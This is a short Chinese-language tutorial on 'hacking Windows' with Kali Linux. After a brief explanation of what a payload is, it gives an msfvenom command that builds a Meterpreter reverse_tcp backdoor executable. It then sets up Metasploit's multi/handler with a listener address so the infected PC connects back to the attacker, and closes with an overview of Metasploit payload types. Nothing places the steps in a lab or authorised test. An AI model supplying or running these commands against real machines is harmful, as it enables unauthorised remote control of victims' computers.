使用Kali Linux黑掉Windows

创建有效负载

要破解Windows，我们需要创建一个有效负载，作为我们进入该PC的后门。

比如有一位客户需要支付一笔费用委托货车司机运送一车石油，石油本身的重量、车子的
重量、司机的重量等等，这些都属于载重(load)。但是对于该客户来说，他关心的只有石
油的重量，所以石油的重量是有效载重(payload，也就是付费的重量)。
对于程序员来说就是在程序中起关键作用的代码。
举一个最简单的例子，一个 ajax 请求返回一个 JSON 格式

{
    status: 200,
    hasError: false,
    data: {
        userId: 1,
        name: 'undefined'
    }
}

这里的 data 就是 payload，也就是关键信息。而 status、hasError等信息是load，虽然也是信息，但相对没有那么重要。

打开CLI,输入：

/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -f exe -o /back.exe

解释：-p为指定有效负载;-a arch 为目标体系结构（x64以后再尝试，得换成其它负载）,-f为输出的负载格式，-o 为输出路径

也可以输入：msfvenom --list xxxs(如payloads)来列出相关可使用参数。

运行Metasploit Framework Console

为了能够有效的控制这个刚刚生成的有效负载文件，我们必须启动Metasploit 框架控制台（已内置）,其携带大量的有效负载和可利用的方法。

输入：

use exploit/multi/handler

然后设置我们刚才生成的负载的类型

set payload windows/meterpreter/reverse_tcp

接着，我们必须提供本地IP地址给这个刚刚生成的有效负载（后门）,使其可以与我的主机进行数据通信。

set LHOST xxx.xxx.xxx.xxx

相关Payload

Payload中包含有需要在远程系统中运行的恶意代码，而在Metasploit中Payload是一种特殊模块，它们能够以漏洞利用模块运行，并能够利用目标系统中的安全漏洞实施攻击。简而言之，这种漏洞利用模块可以访问目标系统，而其中的代码定义了Payload在目标系统中的行为。

Metasploit中的Payload模块主要有以下三种类型：

Single是一种完全独立的Payload，而且使用起来就像运行calc.exe一样简单，例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的，因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。
Stager这种Payload负责建立目标用户与攻击者之间的网络连接，并下载额外的组件或应用程序。一种常见的Stagers Payload就是reverse_tcp，它可以让目标系统与攻击者建立一条tcp连接。另一种常见的是bind_tcp，它可以让目标系统开启一个tcp监听器，而攻击者随时可以与目标系统进行通信。
Stage是Stager Payload下载的一种Payload组件，这种Payload可以提供更加高级的功能，而且没有大小限制。

在Metasploit中，我们可以通过Payload的名称和使用格式来推断它的类型：

Single Payload的格式为 <target>/ <single>
Stager/Stage Payload的格式为 <target>/ <stage> / <stager>

当我们在Metasploit中执行“show payloads”命令之后，它会给我们显示一个可使用的Payload列表